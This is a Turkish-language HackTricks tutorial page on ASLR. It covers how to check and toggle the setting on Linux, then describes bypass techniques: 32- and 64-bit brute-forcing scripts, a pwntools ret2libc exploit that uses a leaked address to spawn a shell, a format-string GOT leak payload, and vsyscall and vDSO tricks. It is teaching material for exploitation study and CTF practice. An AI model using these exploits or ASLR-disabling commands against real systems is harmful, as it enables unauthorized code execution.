ASLR

Reading time: 9 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Temel Bilgiler

Adres Alanı Düzeni Rastgeleleştirme (ASLR), işletim sistemlerinde kullanılan bir güvenlik tekniğidir ve sistem ve uygulama süreçleri tarafından kullanılan bellek adreslerini rastgele hale getirir. Bu sayede, bir saldırganın belirli süreçlerin ve verilerin, örneğin yığın, yığın bellek ve kütüphaneler gibi, konumunu tahmin etmesi önemli ölçüde zorlaşır ve bu da belirli türdeki istismarları, özellikle tampon taşmaları, azaltır.

ASLR Durumunu Kontrol Etme

Bir Linux sisteminde ASLR durumunu kontrol etmek için, /proc/sys/kernel/randomize_va_space dosyasındaki değeri okuyabilirsiniz. Bu dosyada saklanan değer, uygulanan ASLR türünü belirler:

  • 0: Rastgeleleştirme yok. Her şey statik.
  • 1: İhtiyatlı rastgeleleştirme. Paylaşılan kütüphaneler, yığın, mmap(), VDSO sayfası rastgeleleştirilmiştir.
  • 2: Tam rastgeleleştirme. İhtiyatlı rastgeleleştirme ile rastgeleleştirilen unsurlara ek olarak, brk() ile yönetilen bellek rastgeleleştirilmiştir.

ASLR durumunu kontrol etmek için aşağıdaki komutu kullanabilirsiniz:

bash
cat /proc/sys/kernel/randomize_va_space

ASLR'yi Devre Dışı Bırakma

ASLR'yi devre dışı bırakmak için /proc/sys/kernel/randomize_va_space değerini 0 olarak ayarlarsınız. ASLR'yi devre dışı bırakmak, genellikle test veya hata ayıklama senaryoları dışında önerilmez. İşte bunu nasıl yapabileceğiniz:

bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

ASLR'yi bir yürütme için de devre dışı bırakabilirsiniz:

bash
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

ASLR'yi Etkinleştirme

ASLR'yi etkinleştirmek için, /proc/sys/kernel/randomize_va_space dosyasına 2 değerini yazabilirsiniz. Bu genellikle root ayrıcalıkları gerektirir. Tam rastgeleleştirme, aşağıdaki komutla yapılabilir:

bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Yeniden Başlatmalarda Süreklilik

echo komutlarıyla yapılan değişiklikler geçicidir ve yeniden başlatıldığında sıfırlanır. Değişikliği kalıcı hale getirmek için /etc/sysctl.conf dosyasını düzenlemeniz ve aşağıdaki satırı eklemeniz veya değiştirmeniz gerekir:

tsconfig
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

/etc/sysctl.conf dosyasını düzenledikten sonra, değişiklikleri uygulamak için:

bash
sudo sysctl -p

Bu, ASLR ayarlarınızın yeniden başlatmalar arasında kalmasını sağlayacaktır.

Atlatmalar

32bit brute-forcing

PaX, işlem adres alanını 3 gruba ayırır:

  • Kod ve veri (başlatılmış ve başlatılmamış): .text, .data ve .bss —> delta_exec değişkeninde 16 bit entropi. Bu değişken, her işlemle rastgele başlatılır ve başlangıç adreslerine eklenir.
  • mmap() ile tahsis edilen bellek ve paylaşılan kütüphaneler —> 16 bit, delta_mmap olarak adlandırılır.
  • Yığın —> 24 bit, delta_stack olarak adlandırılır. Ancak, etkili olarak 11 bit kullanır (10. bayttan 20. bayta kadar dahil), 16 bayt hizalıdır —> Bu, 524,288 olası gerçek yığın adresi ile sonuçlanır.

Önceki veriler 32-bit sistemler içindir ve azaltılmış nihai entropi, ASLR'yi atlatmayı mümkün kılarak, istismarın başarılı bir şekilde tamamlanana kadar yürütmeyi tekrar tekrar denemeyi sağlar.

Brute-force fikirleri:

  • Eğer shellcode'dan önce büyük bir NOP sled barındıracak kadar büyük bir taşma varsa, yığında adresleri brute-force yaparak akışın NOP sled'in bir kısmının üzerinden atlamasını sağlayabilirsiniz.
  • Taşma o kadar büyük değilse ve istismar yerel olarak çalıştırılabiliyorsa, NOP sled ve shellcode'u bir ortam değişkenine eklemek mümkündür.
  • Eğer istismar yerel ise, libc'nin temel adresini brute-force yapmayı deneyebilirsiniz (32bit sistemler için yararlıdır):
python
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Uzak bir sunucuya saldırıyorsanız, usleep fonksiyonunun libc adresini brute-force etmeyi deneyebilirsiniz, argüman olarak 10 (örneğin) geçerek. Eğer bir noktada sunucu yanıt vermek için 10 saniye ekstra alıyorsa, bu fonksiyonun adresini bulmuşsunuzdur.

tip

64 bit sistemlerde entropi çok daha yüksektir ve bu mümkün olmamalıdır.

64 bit yığın brute-forcing

Yığın üzerinde çevresel değişkenlerle büyük bir alan kaplamak ve ardından bunu istismar etmek için yerel olarak yüzlerce/binlerce kez kötüye kullanmayı denemek mümkündür.
Aşağıdaki kod, yığında sadece bir adres seçmenin nasıl mümkün olduğunu ve her yüzlerce çalıştırmadan o adresin NOP talimatını içereceğini göstermektedir:

c
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>

int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
python
import subprocess
import traceback

# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops

# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}

cont = 0
while True:
cont += 1

if cont % 10000 == 0:
break

print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'

try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass

Yerel Bilgiler (/proc/[pid]/stat)

Bir sürecin /proc/[pid]/stat dosyası her zaman herkes tarafından okunabilir ve ilginç bilgiler içerir, örneğin:

  • startcode & endcode: İkili dosyanın TEXT'inin üstünde ve altında bulunan adresler
  • startstack: stack'in başlangıç adresi
  • start_data & end_data: BSS'nin üstünde ve altında bulunan adresler
  • kstkesp & kstkeip: Mevcut ESP ve EIP adresleri
  • arg_start & arg_end: cli argümanlarının üstünde ve altında bulunan adresler
  • env_start & env_end: env değişkenlerinin üstünde ve altında bulunan adresler

Bu nedenle, eğer saldırgan, istismar edilen ikili dosyanın bulunduğu bilgisayarda ise ve bu ikili dosya ham argümanlardan taşmayı beklemiyorsa, ancak bu dosyayı okuduktan sonra oluşturulabilecek farklı bir girdi üzerinden bekliyorsa, bir saldırganın bu dosyadan bazı adresleri alması ve bunlardan istismar için ofsetler oluşturması mümkündür.

tip

Bu dosya hakkında daha fazla bilgi için https://man7.org/linux/man-pages/man5/proc.5.html adresinde /proc/pid/stat araması yapın.

Bir sızıntıya sahip olmak

  • Zorluk bir sızıntı vermektir

Eğer size bir sızıntı verilirse (kolay CTF zorlukları), ondan ofsetleri hesaplayabilirsiniz (örneğin, istismar ettiğiniz sistemde kullanılan tam libc sürümünü bildiğinizi varsayarsak). Bu örnek istismar, buradan örnek alınmıştır (daha fazla ayrıntı için o sayfaya bakın):

python
from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()
  • ret2plt

Bir buffer overflow kullanarak, bir ret2plt'yi istismar etmek, libc'den bir fonksiyonun adresini dışarı sarmak mümkün olacaktır. Kontrol et:

Ret2plt

  • Format Strings Arbitrary Read

ret2plt'de olduğu gibi, eğer bir format string zafiyeti aracılığıyla rastgele bir okuma varsa, GOT'dan bir libc fonksiyonu adresini dışarı sarmak mümkündür. Aşağıdaki örnek buradan alınmıştır:

python
payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

Daha fazla bilgi için Format Strings arbitrary read hakkında şunları bulabilirsiniz:

Format Strings

Ret2ret & Ret2pop

ASLR'yi atlatmayı deneyin, yığın içindeki adresleri kullanarak:

Ret2ret & Reo2pop

vsyscall

vsyscall mekanizması, belirli sistem çağrılarının kullanıcı alanında yürütülmesine izin vererek performansı artırmayı amaçlar, ancak bunlar temelde çekirdek parçasıdır. vsyscall'ların kritik avantajı, ASLR'ye (Adres Alanı Düzeni Rastgeleleştirme) tabi olmayan sabit adresler olmalarıdır. Bu sabit yapı, saldırganların adreslerini belirlemek ve bunları bir istismar içinde kullanmak için bir bilgi sızıntısı açığına ihtiyaç duymadıkları anlamına gelir.
Ancak burada çok ilginç aletler bulunmayacaktır (örneğin, bir ret; eşdeğeri almak mümkündür)

(Aşağıdaki örnek ve kod bu yazıdan alınmıştır)

Örneğin, bir saldırgan bir istismar içinde 0xffffffffff600800 adresini kullanabilir. Doğrudan bir ret talimatına atlamaya çalışmak, birkaç aletin yürütülmesinden sonra kararsızlığa veya çökmesine yol açabilirken, vsyscall bölümünde sağlanan bir syscall'ın başlangıcına atlamak başarılı olabilir. Yürütmeyi bu vsyscall adresine yönlendiren dikkatlice yerleştirilmiş bir ROP aleti ile, bir saldırgan bu istismar parçası için ASLR'yi atlatmadan kod yürütme elde edebilir.

ef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3

vDSO

Bu nedenle, vdso'yu kullanarak ASLR'yi atlatmanın mümkün olabileceğini unutmayın, eğer çekirdek CONFIG_COMPAT_VDSO ile derlenmişse çünkü vdso adresi rastgeleleştirilmeyecek. Daha fazla bilgi için kontrol edin:

Ret2vDSO

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin